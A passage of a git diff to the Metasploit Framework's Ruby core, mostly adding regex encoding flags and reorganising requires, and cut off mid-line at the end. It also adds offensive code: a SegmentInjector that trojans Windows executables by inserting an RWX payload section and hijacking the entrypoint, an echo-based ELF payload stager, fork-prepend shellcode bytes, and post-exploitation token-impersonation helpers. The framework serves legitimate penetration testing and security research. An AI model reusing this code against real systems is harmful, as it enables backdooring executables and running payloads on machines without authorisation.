REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }) end end end @@ -3055,7 +3055,7 @@ class DBManager @import_filedata[:type] = "Appscan" return :appscan_xml when "entities" - if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i + if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni @import_filedata[:type] = "CI" return :ci_xml end @@ -3342,8 +3342,8 @@ class DBManager def inspect_single_packet_http(pkt,wspace,task=nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload =~ /^HTTP\x2f1\x2e[01]/ - http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/) + if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n + http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n) if http_server_match.kind_of?(MatchData) and http_server_match[1] report_service( :workspace => wspace, @@ -3363,8 +3363,8 @@ class DBManager # Next, check the client side (data to port 80) if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/) - auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/) + if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n) + auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n) if auth_match.kind_of?(MatchData) and auth_match[1] b64_cred = auth_match[1] else @@ -3476,7 +3476,7 @@ class DBManager data.each_line do |line| case line when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/] + if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] addr = $1 port = $2 proto = $4 @@ -3492,7 +3492,7 @@ class DBManager user = ([nil, ""].include?($1)) ? "" : $1 pass = "" ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass + when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass user = ([nil, ""].include?($1)) ? "" : dehex($1) pass = ([nil, ""].include?($2)) ? "" : dehex($2) ptype = "password" @@ -3531,7 +3531,7 @@ class DBManager # If hex notation is present, turn them into a character. def dehex(str) - hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/) + hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n) hexen.each { |h| str.gsub!(h,h[2,2].to_i(16).chr) } @@ -5039,7 +5039,7 @@ class DBManager next if r[0] != 'results' next if r[4] != "12053" data = r[6] - addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2] + addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2] addr_map[hname] = addr end @@ -5160,7 +5160,7 @@ class DBManager # HostName host.elements.each('ReportItem') do |item| next unless item.elements['pluginID'].text == "12053" - addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1] + addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1] hname = host.elements['HostName'].text end addr ||= host.elements['HostName'].text @@ -5855,7 +5855,7 @@ class DBManager data.each_line do |line| next if line =~ /^#/ - next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/ + next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n addr = $1 next if bl.include? addr port = $2.to_i diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index d7c3277ff3..ad79e6a02b 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -20,7 +20,7 @@ class Export end def myusername - @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_") + @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_") end # Hosts are always allowed. This is really just a stub. @@ -115,7 +115,7 @@ class Export user = (c.user.nil? || c.user.empty?) ? "" : c.user pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass if pass != "" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "" + pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "" end if pass == "" # Basically this is an error (maybe around [\x20-\x7e] in regex) above @@ -206,7 +206,7 @@ class Export report_file.write %Q|\n| report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| yield(:status, "start", "hosts") if block_given? report_file.write %Q|\n| @@ -352,7 +352,7 @@ class Export if value data = marshalize(value) data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } el << REXML::Text.new(data) end return el diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb new file mode 100644 index 0000000000..00ef277daa --- /dev/null +++ b/lib/msf/core/exe/segment_injector.rb @@ -0,0 +1,108 @@ +module Msf +module Exe + + require 'metasm' + + class SegmentInjector + + attr_accessor :payload + attr_accessor :template + attr_accessor :arch + attr_accessor :buffer_register + + def initialize(opts = {}) + @payload = opts[:payload] + @template = opts[:template] + @arch = opts[:arch] || :x86 + @buffer_register = opts[:buffer_register] || 'edx' + unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase) + raise ArgumentError, ":buffer_register is not a real register" + end + end + + def processor + case @arch + when :x86 + return Metasm::Ia32.new + when :x64 + return Metasm::X86_64.new + end + end + + def create_thread_stub + <<-EOS + hook_entrypoint: + pushad + push hook_libname + call [iat_LoadLibraryA] + push hook_funcname + push eax + call [iat_GetProcAddress] + mov eax, [iat_CreateThread] + lea edx, [thread_hook] + push 0 + push 0 + push 0 + push edx + push 0 + push 0 + call eax + + popad + jmp entrypoint + + hook_libname db 'kernel32', 0 + hook_funcname db 'CreateThread', 0 + + thread_hook: + lea #{buffer_register}, [thread_hook] + add #{buffer_register}, 9 + EOS + end + + def payload_as_asm + asm = '' + @payload.each_byte do |byte| + asm << "db " + sprintf("0x%02x", byte) + "\n" + end + return asm + end + + def payload_stub + asm = create_thread_stub + asm << payload_as_asm + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + end + + def generate_pe + # Copy our Template into a new PE + pe_orig = Metasm::PE.decode_file(template) + pe = pe_orig.mini_copy + + # Copy the headers and exports + pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] + pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup + pe.header.time = pe_orig.header.time + + # Generate a new code section set to RWX with our payload in it + s = Metasm::PE::Section.new + s.name = '.text' + s.encoded = payload_stub + s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] + + # Tell our section where the original entrypoint was + s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'hook_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/lib/msf/core/exploit/arkeia.rb b/lib/msf/core/exploit/arkeia.rb index 655ae0eff5..847cd4a065 100644 --- a/lib/msf/core/exploit/arkeia.rb +++ b/lib/msf/core/exploit/arkeia.rb @@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia end # Store the version information - mver = resp.match(/IVERSION\x00([^\x00]+)/) + mver = resp.match(/IVERSION\x00([^\x00]+)/n) info['Version'] = mver[1] if mver # Store the hostname information - mver = resp.match(/ISERVNAME\x00([^\x00]+)/) + mver = resp.match(/ISERVNAME\x00([^\x00]+)/n) info['Hostname'] = mver[1] if mver # Begin the ARKADMIN_GET_MACHINE_INFO request @@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia # Finally, parse out and store all the parameters resp.split("TPVALUE\x00").each { |x| - minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/) + minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n) if (minf) info[ minf[2] ] = minf[1] end diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb new file mode 100644 index 0000000000..a4e45d3daa --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_echo.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/cmdstager' + +module Msf + +#### +# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho. +# +# This stager uses the echo's "-e" flag, that enable interpretation of +# backslash escapes, to drop an ELF with the payload embedded to disk. +# The "-e" flag is usually available on linux environments. This stager +# has been found useful on restricted linux based embedded devices, and +# should work on either: +# * Systems with busy box's echo binary somewhere in $PATH. +# * Systems with bash/zsh whose echo builtin supports -en flags. +# * Systems with GNU coreutils echo which supports -en flags. +# +#### + +module Exploit::CmdStagerEcho + + include Msf::Exploit::CmdStager + + # Initializes a CmdStagerEcho instance for the supplied payload + # + # @param exe [String] The payload embedded into an ELF + # @return [Rex::Exploitation::CmdStagerEcho] Stager instance + def create_stager(exe) + Rex::Exploitation::CmdStagerEcho.new(exe) + end +end + +end diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 9abfa7ab60..008f5ded8f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -20,10 +20,16 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) + super + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end + if not @dropped_files or @dropped_files.empty? + return true + end + @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" @@ -58,8 +64,6 @@ module Exploit::FileDropper true end end - - super end # diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 215de052f3..7ff5c5a5cd 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient end if datastore['RPORT'].to_i == 3790 - if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/ - if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/ + if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n + if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n extras << "Metasploit" end end diff --git a/lib/msf/core/exploit/local.rb b/lib/msf/core/exploit/local.rb index d17d7c3824..bb06219202 100644 --- a/lib/msf/core/exploit/local.rb +++ b/lib/msf/core/exploit/local.rb @@ -1,9 +1,5 @@ # -*- coding: binary -*- -require 'msf/core/post_mixin' - -module Msf -class Exploit ### # @@ -13,16 +9,14 @@ class Exploit # network communication. # ### -class Local < Exploit - include PostMixin +class Msf::Exploit::Local < Msf::Exploit + require 'msf/core/post_mixin' + include Msf::PostMixin # # Returns the fact that this exploit is a local exploit. # def exploit_type - Exploit::Type::Local + Msf::Exploit::Type::Local end end - -end -end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 069adb32ed..810f87492e 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write' require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' +require 'msf/core/exploit/cmdstager_echo' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 92d07f427b..3c52a62774 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL if(info[:rows] and not info[:rows].empty?) tbl = Rex::Ui::Text::Table.new( - 'Indent' => 1, - 'Header' => "", - 'Columns' => info[:colnames] + 'Indent' => 1, + 'Header' => "", + 'Columns' => info[:colnames], + 'SortIndex' => -1 ) info[:rows].each do |row| diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb index d3d275fbd5..82a07f6619 100644 --- a/lib/msf/core/exploit/mysql.rb +++ b/lib/msf/core/exploit/mysql.rb @@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL end if plugin_res.respond_to? :split - target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/" elsif base_res.respond_to? :split - target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/" + target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/" else print_error "Cannot determine the plugin directory." return false @@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL print_status "Checking for temp directory..." res = mysql_get_variable("@@tmpdir") if res.respond_to? :split - target_path = res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/" else print_error "Cannot determine the temp directory, exiting." return false diff --git a/lib/msf/core/exploit/omelet.rb b/lib/msf/core/exploit/omelet.rb index 4fc6c035c1..6c16868d5e 100644 --- a/lib/msf/core/exploit/omelet.rb +++ b/lib/msf/core/exploit/omelet.rb @@ -11,8 +11,6 @@ module Msf # # written by corelanc0d3r # -# Version: $Revision$ -# ### module Exploit::Omelet diff --git a/lib/msf/core/exploit/realport.rb b/lib/msf/core/exploit/realport.rb index f90184f5cb..bf7c092fe9 100644 --- a/lib/msf/core/exploit/realport.rb +++ b/lib/msf/core/exploit/realport.rb @@ -195,7 +195,7 @@ module Exploit::Remote::RealPort # Send negotiate request sock.put(pkt2) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end @@ -221,7 +221,7 @@ module Exploit::Remote::RealPort sock.put(pkt3) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 0a3373cbba..4eddb125d6 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -645,7 +645,7 @@ module Exploit::Remote::SMB buff << " FP: #{line}\n" end - prov.split(/\x00\x00+/).each do |line| + prov.split(/\x00\x00+/n).each do |line| line.gsub!("\x00",'') line.strip! next if line.length < 6 @@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer if (pkt_nbs.v['Type'] == 0x81) # Accept any name they happen to send - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '') + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') smb[:nbdst] = host_dst smb[:nbsrc] = host_src diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index a5dbf69192..e37f4eed70 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -104,6 +104,7 @@ class Module require 'msf/core/module/target' require 'msf/core/module/auxiliary_action' require 'msf/core/module/has_actions' + require 'msf/core/module/deprecated' # # Creates an instance of an abstract module using the supplied information diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 47a81884c6..f3e981db47 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -336,9 +336,9 @@ class Payload < Msf::Module # Check to see if the value is a hex string. If so, convert # it. if val.kind_of?(String) - if val =~ /^\\x/ - val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0] - elsif val =~ /^0x/ + if val =~ /^\\x/n + val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0] + elsif val =~ /^0x/n val = val.hex end end diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index 2671ad964d..02787eeaa9 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -19,6 +19,13 @@ module Msf::Payload::Linux register_advanced_options( [ + Msf::OptBool.new('PrependFork', + [ + false, + "Prepend a stub that executes: if (fork()) { exit(0); }", + "false" + ] + ), Msf::OptBool.new('PrependSetresuid', [ false, @@ -97,6 +104,17 @@ module Msf::Payload::Linux # Prepend + if (datastore['PrependFork']) + pre << "\x6a\x02" +# pushb $0x2 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 ; fork # + "\x85\xc0" +# test %eax,%eax # + "\x74\x06" +# jz 0xf # + "\x31\xc0" +# xor %eax,%eax # + "\xb0\x01" +# movb $0x1,%al ; exit # + "\xcd\x80" # int $0x80 # + end + if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x31\xc9" +# xorl %ecx,%ecx # @@ -197,10 +215,8 @@ module Msf::Payload::Linux "\xcd\x80" # int $0x80 # end - end - # Handle all Power/CBEA code here - if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) + elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) # Prepend @@ -277,9 +293,21 @@ module Msf::Payload::Linux "\x38\x1f\xfe\x02" +# addi r0,r31,-510 # "\x44\xff\xff\x02" # sc # end - end - if (test_arch.include?(ARCH_X86_64)) + elsif (test_arch.include?(ARCH_X86_64)) + + if (datastore['PrependFork']) + # if (fork()) { exit(0); } + pre << "\x6a\x39" # push 57 ; __NR_fork # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + pre << "\x48\x85\xc0" # test rax,rax # + pre << "\x74\x08" # jz 0x08 # + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x3c" # push 60 ; __NR_exit # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) @@ -389,8 +417,8 @@ module Msf::Payload::Linux # Append exit(0) if (datastore['AppendExit']) app << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x3c" # push 0x53 # - pre << "\x58" # pop rax # + app << "\x6a\x3c" # push 0x3c # + app << "\x58" # pop rax # app << "\x0f\x05" # syscall # end end diff --git a/lib/msf/core/payload/osx/bundleinject.rb b/lib/msf/core/payload/osx/bundleinject.rb index d408bcdfbf..dcfa1a4d92 100644 --- a/lib/msf/core/payload/osx/bundleinject.rb +++ b/lib/msf/core/payload/osx/bundleinject.rb @@ -14,7 +14,6 @@ module Payload::Osx::BundleInject def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X Inject Mach-O Bundle', - 'Version' => '$Revision$', 'Description' => 'Inject a custom Mach-O bundle into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 6ca8cb10e4..9d7e5cd574 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,9 +12,21 @@ require 'msf/core' module Msf::Payload::Windows require 'msf/core/payload/windows/prepend_migrate' + # Provides the #prepends method + # XXX: For some unfathomable reason, the order of requires here is + # important. If this include happens after require'ing the files + # below, it causes the windows/exec payload (and probably others) to + # somehow not have PrependMigrate despite having Payload::Windows, + # which leads to a NoMethodError on #prepends include Msf::Payload::Windows::PrependMigrate + require 'msf/core/payload/windows/dllinject' + require 'msf/core/payload/windows/exec' + require 'msf/core/payload/windows/loadlibrary' + require 'msf/core/payload/windows/reflectivedllinject' + require 'msf/core/payload/windows/x64/reflectivedllinject' + # # ROR hash associations for some of the exit technique routines. # diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 4b0aff57cb..5c38949360 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -16,7 +16,6 @@ module Payload::Windows::DllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Inject DLL', - 'Version' => '$Revision$', 'Description' => 'Inject a custom DLL into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index d4d439832a..50bd0f9ae7 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -16,7 +16,6 @@ module Payload::Windows::Exec def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Execute Command', - 'Version' => '$Revision$', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'vlad902', 'sf' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb index 8344034f87..ea5a73e8cb 100644 --- a/lib/msf/core/payload/windows/loadlibrary.rb +++ b/lib/msf/core/payload/windows/loadlibrary.rb @@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary def initialize(info = {}) super(update_info(info, 'Name' => 'Windows LoadLibrary Path', - 'Version' => '$Revision$', 'Description' => 'Load an arbitrary library path', 'Author' => [ 'sf', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 4eeaee6b4e..7b23556589 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index a8eae642a1..68be5af44c 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64 def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 1b00edf3f3..d9574910be 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -1,24 +1,31 @@ # -*- coding: binary -*- -require 'msf/core/post_mixin' - -module Msf - # # A Post-exploitation module # -# -class Post < Msf::Module - include PostMixin +class Msf::Post < Msf::Module + + require 'msf/core/post/common' + require 'msf/core/post_mixin' + + require 'msf/core/post/file' + + require 'msf/core/post/linux' + require 'msf/core/post/osx' + require 'msf/core/post/solaris' + require 'msf/core/post/unix' + require 'msf/core/post/windows' + + include Msf::PostMixin def setup; end def type - MODULE_POST + Msf::MODULE_POST end def self.type - MODULE_POST + Msf::MODULE_POST end # @@ -39,6 +46,3 @@ class Post < Msf::Module mod end end - -end - diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 201bae349f..e6cce966f8 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -1,12 +1,6 @@ # -*- coding: binary -*- -require 'msf/core/post/file' - -module Msf -class Post - -module Common - +module Msf::Post::Common # # Checks if the remote system has a process with ID +pid+ @@ -121,5 +115,3 @@ module Common end end -end -end diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb new file mode 100644 index 0000000000..a42dd1056e --- /dev/null +++ b/lib/msf/core/post/linux.rb @@ -0,0 +1,4 @@ +module Msf::Post::Linux + require 'msf/core/post/linux/priv' + require 'msf/core/post/linux/system' +end diff --git a/lib/msf/core/post/osx.rb b/lib/msf/core/post/osx.rb new file mode 100644 index 0000000000..0227f44dbb --- /dev/null +++ b/lib/msf/core/post/osx.rb @@ -0,0 +1,5 @@ + +module Msf::Post::OSX + require 'msf/core/post/osx/system' + require 'msf/core/post/osx/ruby_dl' +end diff --git a/lib/msf/core/post/osx/system.rb b/lib/msf/core/post/osx/system.rb index 53c4efe9e8..51dccf89e2 100644 --- a/lib/msf/core/post/osx/system.rb +++ b/lib/msf/core/post/osx/system.rb @@ -1,11 +1,6 @@ # -*- coding: binary -*- -require 'msf/core/post/common' -require 'msf/core/post/file' -module Msf -class Post -module OSX -module System +module Msf::Post::OSX::System include ::Msf::Post::Common include ::Msf::Post::File @@ -108,7 +103,4 @@ module System end return groups end -end # System -end # OSX -end # Post -end # Msf +end diff --git a/lib/msf/core/post/solaris.rb b/lib/msf/core/post/solaris.rb new file mode 100644 index 0000000000..015fd29470 --- /dev/null +++ b/lib/msf/core/post/solaris.rb @@ -0,0 +1,4 @@ +module Msf::Post::Solaris + require 'msf/core/post/solaris/priv' + require 'msf/core/post/solaris/system' +end diff --git a/lib/msf/core/post/unix.rb b/lib/msf/core/post/unix.rb index 3fbc325b08..b09425f198 100644 --- a/lib/msf/core/post/unix.rb +++ b/lib/msf/core/post/unix.rb @@ -1,8 +1,6 @@ # -*- coding: binary -*- -module Msf -class Post -module Unix +module Msf::Post::Unix # # Returns an array of hashes each representing a user @@ -83,6 +81,3 @@ module Unix end end -end -end - diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb new file mode 100644 index 0000000000..a504e65670 --- /dev/null +++ b/lib/msf/core/post/windows.rb @@ -0,0 +1,15 @@ + +module Msf::Post::Windows + require 'msf/core/post/windows/accounts' + require 'msf/core/post/windows/cli_parse' + require 'msf/core/post/windows/eventlog' + require 'msf/core/post/windows/file_info' + require 'msf/core/post/windows/powershell' + require 'msf/core/post/windows/priv' + require 'msf/core/post/windows/process' + require 'msf/core/post/windows/railgun' + require 'msf/core/post/windows/registry' + require 'msf/core/post/windows/services' + require 'msf/core/post/windows/shadowcopy' + require 'msf/core/post/windows/user_profiles' +end diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index b87bbc9f58..d65930b62c 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -177,6 +177,71 @@ module Accounts :integrity_label ][enum_value - 1] end + + # Gets an impersonation token from the primary token. + # + # @return [Fixnum] the impersonate token handle identifier if success, nil if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return nil + end + end + + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Fixnum] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir_perms(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + buffer_size = 500 + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) + sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + elsif (f['GetLastError'] == 2) + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + return nil + end + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if 